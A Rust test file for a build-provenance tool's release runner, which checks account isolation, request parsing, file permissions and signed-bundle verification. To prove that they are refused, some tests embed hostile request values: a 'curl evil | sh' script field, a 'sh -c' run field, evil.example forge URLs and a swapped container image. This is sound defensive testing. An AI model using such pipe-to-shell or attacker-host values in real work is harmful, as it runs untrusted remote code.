Your browser sucks, JavaScript disabled! Gunnar's console needs JavaScript and WebAssembly. Git over SSH on port 2222 does not.

nordisk/dwarves

crates/dwarves-slsa/tests/release_mode.rs

//! Release mode (lane RELBUILD-ACCT, owner 2026-10-29): the release runner runs as its
//! own account (`relbuild`) on dwarf's host, never as the lanes' account. It takes
//! requests from an inbox (data only: a release at pinned commits) and writes runs
//! only under its runs directory; the provenance names the account and the binary.

mod common;

use std::collections::BTreeMap;
use std::path::{Path, PathBuf};

use base64::engine::general_purpose::STANDARD as B64;
use base64::Engine as _;
use dwarves_slsa::dsse::{Envelope, Signature};
use dwarves_slsa::release_mode::{
    check_account, check_binary_meta, check_runs_meta, parse_request, pending, read_request_file,
    release_builder_version, run_dir_for, serve_once, Config, FileMeta, Identity, RequestState,
    DEFAULT_CONFIG, DEFAULT_INBOX, DEFAULT_RUNS, LANES_ACCOUNT, RELEASE_ACCOUNT,
};
use dwarves_slsa::runner::{builder_version, DEFAULT_IMAGE};
use dwarves_slsa::spec::DEFAULT_FORGE;
use dwarves_slsa::statement::{self, Subject};
use dwarves_slsa::subjects::sha256_hex;
use dwarves_slsa::verify::{verify_bundle, Expect};

const HOLGER: &str = "87e5ada50ab5745464e4b46305bfd62d0460f52c";
const TUNNR: &str = "1111111111111111111111111111111111111111";

fn spec_toml(extra_top: &str) -> String {
    format!(
        r#"name = "holger-2.0.1"
image = "{DEFAULT_IMAGE}"
lock = ["holger/Cargo.toml"]
{extra_top}
[[repo]]
name = "holger"
org = "nordisk"
commit = "{HOLGER}"

[[repo]]
name = "tunnr"
org = "mikronova"
commit = "{TUNNR}"

[[crate]]
name = "holger-errcode"
version = "2.0.1"
repo = "holger"
path = "errcode"
"#
    )
}

fn request(extra_top: &str) -> String {
    let spec: String = spec_toml(extra_top)
        .replace("[[repo]]", "[[spec.repo]]")
        .replace("[[crate]]", "[[spec.crate]]");
    format!("rebuild_published = false\n\n[spec]\n{spec}")
}

fn relbuild() -> Identity {
    Identity {
        uid: 990,
        name: "relbuild".into(),
    }
}

fn cfg() -> Config {
    Config::parse(
        r#"
org_forge = { mikronova = "ssh://git@git.gunnar.rs:2222" }
"#,
    )
    .unwrap()
}

#[test]
fn the_defaults_name_the_release_account_and_paths() {
    assert_eq!(RELEASE_ACCOUNT, "relbuild");
    assert_eq!(LANES_ACCOUNT, "rickard");
    assert_eq!(DEFAULT_CONFIG, "/etc/dwarves-release/runner.toml");
    let c = Config::parse("").unwrap();
    assert_eq!(c.account, "relbuild");
    assert_eq!(c.inbox, PathBuf::from(DEFAULT_INBOX));
    assert_eq!(c.runs, PathBuf::from(DEFAULT_RUNS));
    assert_eq!(DEFAULT_INBOX, "/srv/relbuild/inbox");
    assert_eq!(DEFAULT_RUNS, "/srv/relbuild/runs");
    assert_eq!(c.image, DEFAULT_IMAGE);
    assert!(c.refuse_accounts.iter().any(|a| a == "rickard"));
    assert_eq!(c.forge, "ssh://anonymous@git.gunnar.rs:2222");
    // A typo in the runner's config is refused, not ignored.
    assert!(Config::parse("acount = \"x\"").is_err());
}

#[test]
fn the_lanes_account_and_root_are_refused_in_release_mode() {
    let c = cfg();
    let e = check_account(
        &c,
        &Identity {
            uid: 1001,
            name: "rickard".into(),
        },
    )
    .unwrap_err();
    assert!(e.0.contains("rickard"), "{e}");
    assert!(check_account(
        &c,
        &Identity {
            uid: 0,
            name: "root".into()
        }
    )
    .is_err());
    // uid 0 under another name is still root.
    assert!(check_account(
        &c,
        &Identity {
            uid: 0,
            name: "relbuild".into()
        }
    )
    .is_err());
    // Any other account than the configured one is refused too.
    let e = check_account(
        &c,
        &Identity {
            uid: 1002,
            name: "someone".into(),
        },
    )
    .unwrap_err();
    assert!(e.0.contains("relbuild"), "{e}");
    check_account(&c, &relbuild()).unwrap();
    // A config cannot make the lanes' account the release account.
    let bad = Config::parse("account = \"rickard\"\nrefuse_accounts = []").unwrap();
    assert!(check_account(
        &bad,
        &Identity {
            uid: 1001,
            name: "rickard".into()
        }
    )
    .is_err());
}

#[test]
fn a_request_is_data_a_release_at_pinned_commits() {
    let c = cfg();
    let r = parse_request(request("").as_bytes(), &c).unwrap();
    assert_eq!(r.spec.name, "holger-2.0.1");
    assert!(!r.rebuild_published);
    assert_eq!(r.spec.repo("holger").unwrap().commit, HOLGER);
    // The runner's config decides where the sources come from, not the request.
    assert_eq!(
        r.spec.clone_url(r.spec.repo("holger").unwrap()),
        "ssh://anonymous@git.gunnar.rs:2222/nordisk/holger.git"
    );
    assert_eq!(
        r.spec.clone_url(r.spec.repo("tunnr").unwrap()),
        "ssh://git@git.gunnar.rs:2222/mikronova/tunnr.git"
    );
}

#[test]
fn a_request_cannot_choose_the_image_the_sources_or_add_anything() {
    let c = cfg();
    let other_image = request("").replace(
        DEFAULT_IMAGE,
        &format!("docker.io/evil@sha256:{}", common::hex64('e')),
    );
    let e = parse_request(other_image.as_bytes(), &c).unwrap_err();
    assert!(e.0.contains("image"), "{e}");
    let e = parse_request(
        request("forge = \"ssh://git@evil.example:22\"").as_bytes(),
        &c,
    )
    .unwrap_err();
    assert!(e.0.contains("forge"), "{e}");
    // Even the lanes' own forge: the runner's config decides.
    assert!(parse_request(
        request(&format!("forge = \"{DEFAULT_FORGE}\"")).as_bytes(),
        &c
    )
    .is_ok());
    let e = parse_request(request("web = \"https://evil.example\"").as_bytes(), &c).unwrap_err();
    assert!(e.0.contains("web"), "{e}");
    let e = parse_request(
        request("forge_by_org = { nordisk = \"ssh://git@evil.example:22\" }").as_bytes(),
        &c,
    )
    .unwrap_err();
    assert!(e.0.contains("forge"), "{e}");
    // No field for code: an unknown key is refused.
    let code = format!("script = \"curl evil | sh\"\n{}", request(""));
    assert!(parse_request(code.as_bytes(), &c).is_err());
    let code = request("").replace("rebuild_published = false", "run = \"sh -c x\"");
    assert!(parse_request(code.as_bytes(), &c).is_err());
    // The spec's own rules still hold (a short commit is not a pin).
    let short = request("").replace(HOLGER, "87e5ada5");
    assert!(parse_request(short.as_bytes(), &c).is_err());
    // Not text, or too big.
    assert!(parse_request(&[0xff, 0xfe, 0x00], &c).is_err());
    let big = format!(
        "{}\n# {}\n",
        request(""),
        "x".repeat(c.max_request_bytes as usize)
    );
    assert!(parse_request(big.as_bytes(), &c).is_err());
}

#[test]
fn a_request_file_is_a_regular_file_never_a_link() {
    let d = tempfile::tempdir().unwrap();
    let f = d.path().join("holger-2.0.1.toml");
    std::fs::write(&f, request("")).unwrap();
    assert_eq!(
        read_request_file(&f, 1 << 20).unwrap(),
        request("").into_bytes()
    );
    let l = d.path().join("link.toml");
    std::os::unix::fs::symlink(&f, &l).unwrap();
    let e = read_request_file(&l, 1 << 20).unwrap_err();
    assert!(e.0.contains("regular file"), "{e}");
    let dir = d.path().join("dir.toml");
    std::fs::create_dir(&dir).unwrap();
    assert!(read_request_file(&dir, 1 << 20).is_err());
    assert!(read_request_file(&f, 10).is_err());
}

#[test]
fn pending_requests_are_the_new_toml_files_of_the_inbox() {
    let d = tempfile::tempdir().unwrap();
    let inbox = d.path().join("inbox");
    let runs = d.path().join("runs");
    std::fs::create_dir_all(&inbox).unwrap();
    std::fs::create_dir_all(runs.join("requests")).unwrap();
    std::fs::write(inbox.join("b.toml"), "b").unwrap();
    std::fs::write(inbox.join("a.toml"), "a").unwrap();
    std::fs::write(inbox.join(".c.toml.tmp"), "c").unwrap();
    std::fs::write(inbox.join(".d.toml"), "d").unwrap();
    std::fs::write(inbox.join("e.txt"), "e").unwrap();
    std::fs::write(inbox.join("f g.toml"), "f").unwrap();
    let c = Config {
        inbox: inbox.clone(),
        runs: runs.clone(),
        ..cfg()
    };
    let p = pending(&c).unwrap();
    let names: Vec<&str> = p
        .iter()
        .map(|x| x.file_name().unwrap().to_str().unwrap())
        .collect();
    assert_eq!(names, ["a.toml", "b.toml"]);
    // A request whose bytes have a status is not taken again.
    std::fs::write(
        runs.join("requests")
            .join(format!("{}.status", sha256_hex(b"a"))),
        "state = \"done\"\n",
    )
    .unwrap();
    let p = pending(&c).unwrap();
    assert_eq!(p, vec![inbox.join("b.toml")]);
}

#[test]
fn a_run_directory_is_always_under_the_runs_directory() {
    let c = cfg();
    let r = parse_request(request("").as_bytes(), &c).unwrap();
    let d = run_dir_for(&c, &r.spec, 1_793_275_200);
    assert!(d.starts_with(DEFAULT_RUNS), "{}", d.display());
    assert_eq!(d.parent().unwrap(), Path::new(DEFAULT_RUNS));
    assert!(d
        .file_name()
        .unwrap()
        .to_str()
        .unwrap()
        .starts_with("holger-2.0.1-"));
}

#[test]
fn the_binary_is_root_owned_read_only_and_the_installed_one() {
    let h = common::hex64('a');
    let c = Config {
        binary: Some("/usr/local/lib/dwarves-release/dwarves".into()),
        binary_sha256: Some(h.clone()),
        ..cfg()
    };
    let exe = Path::new("/usr/local/lib/dwarves-release/dwarves");
    let ok = FileMeta {
        uid: 0,
        mode: 0o100755,
    };
    let dir = FileMeta {
        uid: 0,
        mode: 0o040755,
    };
    check_binary_meta(&c, exe, &ok, &dir, &h).unwrap();
    let e = check_binary_meta(
        &c,
        exe,
        &FileMeta {
            uid: 1001,
            mode: 0o100755,
        },
        &dir,
        &h,
    )
    .unwrap_err();
    assert!(e.0.contains("root"), "{e}");
    assert!(check_binary_meta(
        &c,
        exe,
        &FileMeta {
            uid: 0,
            mode: 0o100775
        },
        &dir,
        &h
    )
    .is_err());
    assert!(check_binary_meta(
        &c,
        exe,
        &FileMeta {
            uid: 0,
            mode: 0o100757
        },
        &dir,
        &h
    )
    .is_err());
    assert!(check_binary_meta(
        &c,
        exe,
        &ok,
        &FileMeta {
            uid: 1001,
            mode: 0o040755
        },
        &h
    )
    .is_err());
    assert!(check_binary_meta(
        &c,
        exe,
        &ok,
        &FileMeta {
            uid: 0,
            mode: 0o040777
        },
        &h
    )
    .is_err());
    let e = check_binary_meta(&c, exe, &ok, &dir, &common::hex64('b')).unwrap_err();
    assert!(e.0.contains("sha256"), "{e}");
    let e =
        check_binary_meta(&c, Path::new("/home/rickard/bin/dwarves"), &ok, &dir, &h).unwrap_err();
    assert!(
        e.0.contains("/usr/local/lib/dwarves-release/dwarves"),
        "{e}"
    );
    // Release mode needs the binary named in its config.
    let none = cfg();
    assert!(check_binary_meta(&none, exe, &ok, &dir, &h).is_err());
}

#[test]
fn the_runs_directory_is_the_runners_and_nobody_elses_to_write() {
    let id = relbuild();
    check_runs_meta(
        &id,
        &FileMeta {
            uid: 990,
            mode: 0o040755,
        },
    )
    .unwrap();
    check_runs_meta(
        &id,
        &FileMeta {
            uid: 990,
            mode: 0o040750,
        },
    )
    .unwrap();
    assert!(check_runs_meta(
        &id,
        &FileMeta {
            uid: 1001,
            mode: 0o040755
        }
    )
    .is_err());
    assert!(check_runs_meta(
        &id,
        &FileMeta {
            uid: 990,
            mode: 0o040775
        }
    )
    .is_err());
    assert!(check_runs_meta(
        &id,
        &FileMeta {
            uid: 990,
            mode: 0o040757
        }
    )
    .is_err());
    assert!(check_runs_meta(
        &id,
        &FileMeta {
            uid: 990,
            mode: 0o100755
        }
    )
    .is_err());
}

#[test]
fn the_builder_details_name_the_account_and_the_binary() {
    // Every run names its account, so a lane-mode build says so too.
    let lane = builder_version(
        &BTreeMap::new(),
        &common::hex64('a'),
        Some(&Identity {
            uid: 1001,
            name: "rickard".into(),
        }),
    );
    assert_eq!(lane["runnerAccount"], "rickard");
    assert_eq!(lane["runnerUid"], "1001");
    assert_eq!(lane["runnerSha256"], common::hex64('a'));
    assert!(!lane.contains_key("releaseMode"));
    // Release mode adds the mode, the installed binary and the request.
    let c = Config {
        binary: Some("/usr/local/lib/dwarves-release/dwarves".into()),
        ..cfg()
    };
    let mut base = BTreeMap::new();
    base.insert("dwarves".to_string(), "0.1.9".to_string());
    let extra = release_builder_version(&c, &relbuild(), &common::hex64('c'), &base);
    let v = builder_version(&extra, &common::hex64('a'), Some(&relbuild()));
    assert_eq!(v["runnerAccount"], "relbuild");
    assert_eq!(v["runnerUid"], "990");
    assert_eq!(v["releaseMode"], "dedicated-account");
    assert_eq!(v["runnerBinary"], "/usr/local/lib/dwarves-release/dwarves");
    assert_eq!(v["requestSha256"], common::hex64('c'));
    assert_eq!(v["dwarves"], "0.1.9");
    assert_eq!(v["runnerSha256"], common::hex64('a'));
}

fn signed(version: BTreeMap<String, String>) -> (common::TestKey, String) {
    let k = common::key();
    let mut p = common::provenance();
    p.builder_version = version;
    let st = statement::statement(&[Subject::sha256("bin/x", common::hex64('a'))], &p).unwrap();
    let payload = statement::payload(&st);
    let pae = dwarves_slsa::dsse::pae(statement::PAYLOAD_TYPE_INTOTO, &payload);
    let sig = common::sign(&k, &pae);
    let b = Envelope {
        payload_type: statement::PAYLOAD_TYPE_INTOTO.into(),
        payload: B64.encode(&payload),
        signatures: vec![Signature {
            keyid: dwarves_slsa::dsse::keyid(&k.spki),
            sig: B64.encode(sig),
        }],
    }
    .to_line();
    (k, b)
}

#[test]
fn a_verifier_can_require_the_release_account() {
    let mut v = BTreeMap::new();
    v.insert("runnerAccount".to_string(), "relbuild".to_string());
    let (k, b) = signed(v);
    let want = Expect {
        runner_account: Some("relbuild".into()),
        ..Expect::default()
    };
    verify_bundle(&b, &k.spki, &want).unwrap();
    let mut v = BTreeMap::new();
    v.insert("runnerAccount".to_string(), "rickard".to_string());
    let (k, b) = signed(v);
    let e = verify_bundle(&b, &k.spki, &want).unwrap_err();
    assert!(e.0.contains("rickard"), "{e}");
    // A statement from before release mode names no account: refused when one is required.
    let (k, b) = signed(BTreeMap::new());
    assert!(verify_bundle(&b, &k.spki, &want).is_err());
    verify_bundle(&b, &k.spki, &Expect::default()).unwrap();
}

#[test]
fn serve_records_a_refused_request_and_builds_nothing() {
    let d = tempfile::tempdir().unwrap();
    let inbox = d.path().join("inbox");
    let runs = d.path().join("runs");
    std::fs::create_dir_all(&inbox).unwrap();
    std::fs::create_dir_all(&runs).unwrap();
    let bad = request("").replace(
        DEFAULT_IMAGE,
        &format!("docker.io/evil@sha256:{}", common::hex64('e')),
    );
    std::fs::write(inbox.join("evil.toml"), &bad).unwrap();
    let c = Config {
        inbox,
        runs: runs.clone(),
        ..cfg()
    };
    let out = serve_once(&c, &relbuild(), &common::hex64('a'), &BTreeMap::new(), &NeverBuilds).unwrap();
    assert_eq!(out.len(), 1);
    assert!(
        matches!(&out[0].state, RequestState::Refused(e) if e.contains("image")),
        "{:?}",
        out[0]
    );
    let sha = sha256_hex(bad.as_bytes());
    let status =
        std::fs::read_to_string(runs.join("requests").join(format!("{sha}.status"))).unwrap();
    assert!(status.contains("refused"), "{status}");
    // The request's bytes are kept beside its status; no run directory was made.
    assert_eq!(
        std::fs::read_to_string(runs.join("requests").join(format!("{sha}.request.toml"))).unwrap(),
        bad
    );
    let dirs: Vec<_> = std::fs::read_dir(&runs)
        .unwrap()
        .map(|e| e.unwrap().file_name())
        .collect();
    assert_eq!(dirs, vec![std::ffi::OsString::from("requests")]);
    // Taken once: a second pass does nothing.
    assert!(
        serve_once(&c, &relbuild(), &common::hex64('a'), &BTreeMap::new(), &NeverBuilds)
            .unwrap()
            .is_empty()
    );
}

#[test]
fn release_mode_on_the_command_line_refuses_the_lanes_way_of_building() {
    let d = tempfile::tempdir().unwrap();
    let spec = d.path().join("spec.toml");
    std::fs::write(&spec, spec_toml("")).unwrap();
    let e = dwarves_slsa::cli::run(
        vec![
            "build".into(),
            "--release-mode".into(),
            "--spec".into(),
            spec.display().to_string(),
        ],
        &BTreeMap::new(),
        dwarves_slsa::cli::Forge::default(),
    )
    .unwrap_err();
    assert!(e.0.contains("serve") && e.0.contains("inbox"), "{e}");
    // serve checks the account first: the test runs as a lanes' account, not relbuild.
    let conf = d.path().join("runner.toml");
    std::fs::write(
        &conf,
        format!(
            "inbox = \"{0}/inbox\"\nruns = \"{0}/runs\"\nbinary = \"/usr/local/lib/dwarves-release/dwarves\"\n",
            d.path().display()
        ),
    )
    .unwrap();
    let e = dwarves_slsa::cli::run(
        vec![
            "serve".into(),
            "--once".into(),
            "--config".into(),
            conf.display().to_string(),
        ],
        &BTreeMap::new(),
        dwarves_slsa::cli::Forge::default(),
    )
    .unwrap_err();
    assert!(e.0.contains("relbuild"), "{e}");
    let e = dwarves_slsa::cli::run(
        vec![
            "serve".into(),
            "--check".into(),
            "--config".into(),
            conf.display().to_string(),
        ],
        &BTreeMap::new(),
        dwarves_slsa::cli::Forge::default(),
    )
    .unwrap_err();
    assert!(e.0.contains("relbuild"), "{e}");
}

/// The forge's API as the CLI calls it: here straight into the library the server runs.
struct LocalApi(PathBuf);

impl dwarves_slsa::cli::ReleaseApi for LocalApi {
    fn request(&self, r: &dwarves_slsa::release_mode::Request) -> dwarves_slsa::Result<String> {
        let (id, sha) = dwarves_slsa::release_mode::queue_request(&self.0, r)?;
        Ok(format!("queued {id} (request sha256 {sha})"))
    }
    fn show(&self, _: &str) -> dwarves_slsa::Result<String> {
        unreachable!()
    }
    fn attach(&self, _: &str, _: &[u8]) -> dwarves_slsa::Result<String> {
        unreachable!()
    }
}

/// An executor that must never be reached.
struct NeverBuilds;

impl dwarves_slsa::runner::Executor for NeverBuilds {
    fn execute(
        &self,
        _: &dwarves_runa::Pipeline,
        _: std::sync::Arc<dwarves_slsa::runner::ReleaseRun>,
        _: &str,
    ) -> dwarves_slsa::Result<dwarves_slsa::runner::RunRecord> {
        panic!("nothing is built here")
    }
}

#[test]
fn a_request_goes_through_the_forge_into_the_inbox_and_shows_as_queued() {
    let d = tempfile::tempdir().unwrap();
    let spec = d.path().join("spec.toml");
    std::fs::write(&spec, spec_toml("")).unwrap();
    let inbox = d.path().join("inbox");
    std::fs::create_dir(&inbox).unwrap();
    let argv = vec!["request".to_string(), "--spec".into(), spec.display().to_string()];
    // without the forge's API the CLI writes nothing
    let e = dwarves_slsa::cli::run(argv.clone(), &BTreeMap::new(), dwarves_slsa::cli::Forge::default()).unwrap_err();
    assert!(e.0.contains("dwarves release-build request"), "{e}");
    assert_eq!(std::fs::read_dir(&inbox).unwrap().count(), 0);
    let api = LocalApi(inbox.clone());
    let forge = dwarves_slsa::cli::Forge { api: Some(&api), ..Default::default() };
    dwarves_slsa::cli::run(argv, &BTreeMap::new(), forge).unwrap();
    let files: Vec<PathBuf> = std::fs::read_dir(&inbox)
        .unwrap()
        .map(|e| e.unwrap().path())
        .collect();
    assert_eq!(files.len(), 1, "{files:?}");
    let name = files[0].file_name().unwrap().to_str().unwrap().to_string();
    assert!(
        name.starts_with("holger-2.0.1-") && name.ends_with(".toml"),
        "{name}"
    );
    let bytes = std::fs::read(&files[0]).unwrap();
    let r = parse_request(&bytes, &cfg()).unwrap();
    assert_eq!(r.spec.name, "holger-2.0.1");
    // the forge shows it, queued, under its run id, before the runner takes it
    let runs = d.path().join("runs");
    let v = dwarves_slsa::release_mode::release_views(&inbox, &runs);
    assert_eq!(v.len(), 1);
    assert_eq!(v[0].state, "queued");
    let sha = sha256_hex(&bytes);
    assert_eq!(v[0].run_id, format!("holger-2.0.1-{}", &sha[..12]));
    assert_eq!(dwarves_slsa::release_mode::run_id_for("holger-2.0.1", &sha), v[0].run_id);
}

#[test]
fn a_signed_bundle_is_verified_by_the_forge_and_again_by_the_runner_before_the_run_is_signed() {
    use dwarves_slsa::release_mode::{release_view, store_bundle, take_bundles_with};
    let d = tempfile::tempdir().unwrap();
    let inbox = d.path().join("inbox");
    let runs = d.path().join("runs");
    let run = runs.join("holger-2.0.1-20261029T120000Z");
    std::fs::create_dir_all(&inbox).unwrap();
    std::fs::create_dir_all(runs.join("requests")).unwrap();
    std::fs::create_dir_all(run.join("out/crates")).unwrap();
    std::fs::write(run.join("out/crates/holger-errcode-2.0.1.crate"), b"crate bytes").unwrap();
    let subject = Subject::sha256("crates/holger-errcode-2.0.1.crate", sha256_hex(b"crate bytes"));
    let st = statement::statement(&[subject], &common::provenance()).unwrap();
    let payload = statement::payload(&st);
    std::fs::write(run.join("release.statement.json"), &payload).unwrap();
    let sha = common::hex64('c');
    let id = format!("holger-2.0.1-{}", &sha[..12]);
    std::fs::write(
        runs.join("requests").join(format!("{sha}.status")),
        format!(
            "state = \"built\"\nrequest = \"r.toml\"\nrun_id = \"{id}\"\nrelease = \"holger-2.0.1\"\nrun = \"{}\"\nstatement = \"{}\"\nstatement_sha256 = \"{}\"\nat = \"2026-10-29T12:00:00Z\"\n",
            run.display(),
            run.join("release.statement.json").display(),
            sha256_hex(&payload)
        ),
    )
    .unwrap();
    let v = release_view(&inbox, &runs, &id).unwrap();
    assert_eq!(v.state, "waiting for signature");
    assert_eq!(v.artifacts, vec![("crates/holger-errcode-2.0.1.crate".to_string(), sha256_hex(b"crate bytes"))]);
    let sign = v.sign.unwrap();
    assert!(sign.contains("script-sign-release.sh") && sign.contains(&sha256_hex(&payload)), "{sign}");
    // a bundle by another key is refused by the forge, and nothing is stored
    let k = common::key();
    let other = common::key();
    let bad = bundle(&other, &payload);
    assert!(store_bundle(&inbox, &runs, &id, bad.as_bytes(), &k.spki).is_err());
    assert!(!inbox.join("bundles").exists());
    // the owner's bundle is stored for the runner, which checks it again and signs the run
    let good = bundle(&k, &payload);
    store_bundle(&inbox, &runs, &id, good.as_bytes(), &k.spki).unwrap();
    let c = Config { inbox: inbox.clone(), runs: runs.clone(), ..cfg() };
    assert_eq!(take_bundles_with(&c, &k.spki, &mut |_| {}).unwrap(), 1);
    assert_eq!(std::fs::read_to_string(run.join("release.intoto.jsonl")).unwrap(), good);
    assert_eq!(release_view(&inbox, &runs, &id).unwrap().state, "signed");
    // a signed run takes no second bundle
    assert!(store_bundle(&inbox, &runs, &id, good.as_bytes(), &k.spki).is_err());
}

/// A one-line bundle over `payload`, signed by `k`.
fn bundle(k: &common::TestKey, payload: &[u8]) -> String {
    let pae = dwarves_slsa::dsse::pae(statement::PAYLOAD_TYPE_INTOTO, payload);
    let sig = common::sign(k, &pae);
    Envelope {
        payload_type: statement::PAYLOAD_TYPE_INTOTO.into(),
        payload: B64.encode(payload),
        signatures: vec![Signature {
            keyid: dwarves_slsa::dsse::keyid(&k.spki),
            sig: B64.encode(sig),
        }],
    }
    .to_line()
}